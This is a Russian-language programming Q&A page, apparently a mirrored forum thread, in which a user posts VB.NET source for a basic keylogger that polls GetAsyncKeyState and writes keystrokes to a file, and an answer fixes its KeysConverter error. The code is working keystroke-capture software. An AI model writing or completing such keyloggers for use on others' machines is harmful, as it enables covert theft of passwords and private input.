Невозможно использовать KeysConverter в программе кейлоггер - PullRequest
0 голосов
/ 04 июня 2018

Я пытаюсь создать базовую программу кейлогинга.Я заинтересован в кибербезопасности и хочу узнать больше.Я собрал код ниже из различных источников.Строка text = converter.ToString (i) генерирует индекс за пределами ошибки.Я думаю, что это потому, что преобразователь объекта не был создан как следует ??Но как это исправить?

Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading

Module Module1
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
    Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
    filepath &= "\LogsFolder\"

    If (Not Directory.Exists(filepath)) Then
        Directory.CreateDirectory(filepath)
    End If

    Dim Path = (filepath & "LoggedKeys.text")

    If Not File.Exists(Path) Then
        Using sw As StreamWriter = File.CreateText(Path)
        End Using
    End If

    Dim Converter = New KeysConverter()
    Dim text As String = ""

    While (True)
        Thread.Sleep(5)
        For i As Integer = 0 To 1999
            Dim key = GetAsyncKeyState(i)
            If key = 1 Or key = -32767 Then
                text = converter.ToString(i)
                Using sw As StreamWriter = File.AppendText(Path)
                    sw.WriteLine(text)
                End Using
                Exit For
            End If
        Next
    End While

End Sub

End Module

1 Ответ

0 голосов
/ 04 июня 2018

Похоже, вы ищете метод ConvertToString.

Замените следующую строку:

text = converter.ToString(i)

На:

text = converter.ConvertToString(i)

Отредактируйте, чтобы учесть ваши замечания в комментариях:

Я получаю синтаксическую ошибку, ConvertToString не является членом KeysConverter ... это звучиткак будто мое создание не сработало.

Наведите курсор мыши на переменную Converter и дважды проверьте ее тип.Убедитесь, что KeysConverter на самом деле является классом System.Windows.Forms.KeysConverter, а не каким-то локальным сгенерированным классом.

Оператор MyImports System.Windows.Forms не соответствует действительности - предполагается, чтоего никогда не использовали.

Это то, что я подозревал.Похоже, вы находитесь в консольном приложении и обращаетесь к классу в System.Windows.Forms пространстве имен , которое не включено в консольное приложение .Вам необходимо добавить ссылку на System.Windows.Forms.dll, как описано в в этом ответе .

Также убедитесь, что вы нашли и удалили сгенерированный класс KeysConverter из своего проекта, чтобы избежатьконфликты.

...